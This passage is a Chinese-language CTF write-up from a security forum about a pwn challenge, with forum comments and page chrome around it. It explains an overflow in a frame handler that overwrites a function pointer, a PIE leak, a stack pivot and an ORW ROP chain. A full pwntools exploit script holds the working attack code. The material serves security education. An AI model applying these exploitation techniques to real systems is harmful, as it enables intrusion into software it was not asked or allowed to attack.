n8; if ( n8 >= 8 ) n7_1 = 7LL; } sub_1840(a2 + 1, n7_1); [err]_CF_seq_mismatch_exp_%u_got_%u_@_handler_%p_n = "[CF] id=0x%X seq=%u copied=%zu\n"; } __printf_chk(1LL, [err]_CF_seq_mismatch_exp_%u_got_%u_@_handler_%p_n); } else { __printf_chk(1LL, "[err] stray CF while not in segmented state @ handler=%p\n", content_deal); } } else { puts("[?] unsupported frame"); } } else { qword_4048 = 0LL; dword_4040 = 0; n = n2 - 1; dword_4010 = 1; if ( n > n_1 ) n = n_1; n = n; sub_1840(a2 + 1, n); __printf_chk(1LL, "[SF] id=0x%X len=%zu\n", a1, n); } } } ``` 在数据处理部分,又根据`[命令头部HEX]`将数据包分为`单帧`,`首帧`和`连续帧` 每次数据发送结束,都会调用`sub_1840`将数据包集体复制到全局变量缓冲区`buf`中 然后调用一个结构体中的函数指针进行`handle操作` ``` __int64 __fastcall deal(void *src, size_t n) { unsigned __int64 v2; // rbx __int64 result; // rax v2 = n + offset; memcpy((char *)&buf_ + offset, src, n); offset = v2; result = ::n - 1; if ( ::n - 1 < v2 ) { sub_17F0(); return psub_16E0(&buf_); } return result; } int sub_17F0() { mprotect((void *)((unsigned __int64)&dword_218C & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 3); dword_218C = 1; return mprotect((void *)((unsigned __int64)&dword_218C & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 1); } ``` 注意这里的`psub_16E0`是根据函数指针进行调用的,也就是我们的结构体中的函数指针 随后我们对`buf`周围的变量进行的观察 ``` .bss:0000000000006060 buf_ db ? ; ; DATA XREF: Init↑o ... .bss:0000000000006160 psub_16E0 dq ? ; DATA XREF: Init+3B↑w ``` 这枚函数指针恰好存放在buf高0x100的地址处 而且对连续帧的观察得到,并没有限制连续帧的数据长度上限 也就是说如果我们发送的是连续帧,且长度超过0x100,就会覆盖原本的函数指针 #### 攻击 由于程序开启了所有保护,且不存在后门函数,我们无法一下子跳转到确定的目标 但我们知道,程序开启了沙箱,禁止了execve类的函数调用,我们的最终手段一定是orw orw需要我们连续执行函数并控制参数,只有ROP能做到这一点 由于不存在栈溢出,我们又必须要进行栈迁移才能达成ROP ``` .text:00000000000016E0 ; int puts_() .text:00000000000016E0 _puts_ proc near ; DATA XREF: Init+2A↓o .text:00000000000016E0 ; __unwind { .text:00000000000016E0 endbr64 .text:00000000000016E4 lea rdi, aCbDefaultHandl ; "[cb] default handler." .text:00000000000016EB jmp _puts .text:00000000000016EB ; } // starts at 16E0 .text:00000000000016EB _puts_ endp ``` 最开始的handle函数是这个,打印一句话并返回 如果我们将函数指针最低字节从`E0`偏移到`E4`,就可能导致`rdi`中的内容出现非预期 通过调试可知,这样会泄露出我们刚刚输入的连续帧数据,如果这里面不存在`\x00截断`的话,还可以泄露出`handle指针`,也就是说我们可以泄露`PIE`  此时我们可以正常返回`main`中 , 可以再次修改函数指针 此时`text`段的`gadget`都可以拿来用,可以先使用`ROPgadget`寻找合适的片段  一个很醒目的特色gadget,很明显可以用来栈迁移. 再结合之前说的,执行handle函数时,rdi为buf上的输入的起始地址,一切就都通了 我们可以将handle覆盖为这个gadget,将栈迁移到bss上,在前0x100字节布置好泄露`libc的ROP`+`二次注入ROP的ROP` 即可执行任意长度的ROP链 #### EXP ```python from pwn import * io=process('./pwn') def bug(): gdb.attach(io) io.sendlineafter(b"Enter magic number:",b"12803159") io.recvuntil(b"> bad format.") def s(data): mode=0x10 payloads = [] if len(data) <= 7: pci = bytes([len(data)]) frame = pci + data payloads.append(frame) else: total_len = len(data) pci = bytes([0x10 | ((total_len >> 8) & 0xF)]) + bytes([total_len & 0xFF]) ff_data = data[:6] payloads.append(pci + ff_data) data = data[6:] seq = 1 while data: chunk = data[:7] data = data[7:] pci = bytes([0x20 | (seq & 0xF)]) cf = pci + chunk payloads.append(cf) seq = (seq + 1) & 0xF if seq == 0: seq = 1 for frame in payloads: hex_part = frame.hex().upper() line = f"{mode:X}#{hex_part}".encode() io.sendlineafter(b"> ", line) print("[Send]", line) s(b"\xAA"*0x100+p8(0XEB)) io.recvuntil(b"\xaa"*0x100) base=u64(io.recv(6)+b'\x00'*2)-0x16EB print(hex(base)) io.sendline("reset") rdi=base+0x0000000000001557 rsi=base+0x0000000000001555 #rdx rop=p64(rdi)+p64(base+0x3F68)+p64(base+0x1160)+p64(rdi)+p64(base+0x615b)+p64(rsi)+p64(base+0x6060+0x50-8)*2+p64(rdi+1)+p64(base+0x11A0) s(p64(rdi+1)+rop.ljust(0xe8,b'\x00')+b"\x00\x00\x00%s\x00\x00\x00"+p64(base+0x12d3))#使用scanf("%s",buf)实现二次注入 io.recvuntil(b"> ") pie=base base=u64(io.recv(6)+b'\x00\x00')-0x19ca40 print(hex(base)) orw =b"./flag" orw+=... io.sendline(orw) io.interactive() ```
登录后可查看完整内容
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
最后于
2025-10-31 10:32 被zer00ne编辑 ,原因:
#题解集锦
上传的附件:
强网杯.7z
(1.13MB,20次下载)
强网拟态.7z
(842.79kb,18次下载)
收藏
・
2
点赞
・
3
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
这个讨论对我很有帮助,谢谢!
2026-7-16 07:39
SX_DomOne
+10
为你点赞!
2026-5-14 06:09
winmt
感谢你的积极参与,期待更多精彩内容!
2025-10-31 10:55
查看更多
打赏
+ 5.00雪花
mb_hcrffuxu
打赏次数
1
雪花
+ 5.00
mb_hcrffuxu
+5.00
2026/03/14
精品文章~
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
1
)
winmt
雪 币:
4776
活跃值:
(11880)
能力值:
(RANK:438 )
在线值:
发帖
11
回帖
89
粉丝
401
关注
私信
winmt
9
2
楼
包含了两场比赛的wp,内容充实,感谢分享~
2025-10-31 10:56
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
zer00ne
3
7
发帖
5
回帖
160
RANK
关注
私信
他的文章
[原创]SUCTF2026 Ez_Router
12941
[原创] 2025 强网杯和强网拟态部分题解
12367
[原创]港湾杯决赛--babyshark
10469
[原创]2025 磐石行动-线下AWD-PWN
8303
[原创]Nepctf2025 pwn部分wp
5643
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
谁下载
×
huangyalei
NutCracker
KevinTrace
wx_1_816
吃饭去2
Unauth401
orangeH
ZACSN12
npc0vo
mb_txxsqkju
mb_seyabbpb
XxingGoD
mb_kujsrqqv
mb_lthgjpwj
谁下载
×
huangyalei
NutCracker
wx_1_816
吃饭去2
Unauth401
linlx9
mb_aicedybu
SX_DomOne
ret2song
npc0vo
mb_kujsrqqv
mb_lthgjpwj
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部